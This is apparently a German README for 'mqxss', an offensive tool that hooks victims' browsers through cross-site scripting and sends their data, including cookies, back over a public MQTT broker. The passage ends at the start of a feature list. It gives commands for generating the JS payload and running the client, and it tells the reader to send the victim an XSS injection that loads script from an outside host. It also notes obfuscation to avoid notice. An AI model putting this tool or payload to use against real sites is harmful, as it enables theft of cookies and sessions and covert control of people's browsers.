
Hooked-Browser-Kommunikation über MQTT

Der Vorteil gegenüber beef oder xsshunter ist, dass außer dem Hosten der JS-Payload keine Infrastruktur eingerichtet werden muss; du kannst einen öffentlichen Broker verwenden (allerdings wird derzeit Obfuskation genutzt, Verschlüsselung ist in Arbeit).
Gehookte Browser kommunizieren über das MQTT-Topic auf dem von dir angegebenen Broker. Es gibt viele öffentliche/kostenlose Broker, um dies zu testen.
Der Client verwendet die Python-Bibliothek paho.mqtt, während die JS-Payload 'mqttws31.min.js' verwendet, die er von hier 'https://cdnjs.cloudflare.com/ajax/libs/paho-mqtt/1.0.1/mqttws31.min.js' bezieht.

Um eine JS-Payload zu erzeugen, um Browser zu hooken, setze zur Laufzeit das Flag -g zusammen mit deinen Broker-, Port- und Topic-Variablen. Dadurch wird deine Payload im Ordner /js/ erstellt.
Um den Client auszuführen, gib deinen Broker, Port und dein Topic wie folgt an:
mqxss.py -p 8081 -b some.mqtt.broker.com -t mytopicname
Um den Client mit Anmeldedaten auszuführen, gib deinen Broker, Port, Benutzernamen, Passwort und dein Topic wie folgt an:
mqxss.py -p 8081 -b some.mqtt.broker.com -t mytopicname -u username -pw password
Sende deine XSS-Payload an das Opfer, während der mqxss-Client läuft, z. B.: '"><script src=https://example.com/x.js async></script> oder etwas Ähnliches. Wenn die Seite verwundbar ist, solltest du eine Benachrichtigung erhalten, dass der Browser mit einigen grundlegenden Details (einschließlich Cookies usw.) verbunden ist.

Funktionen: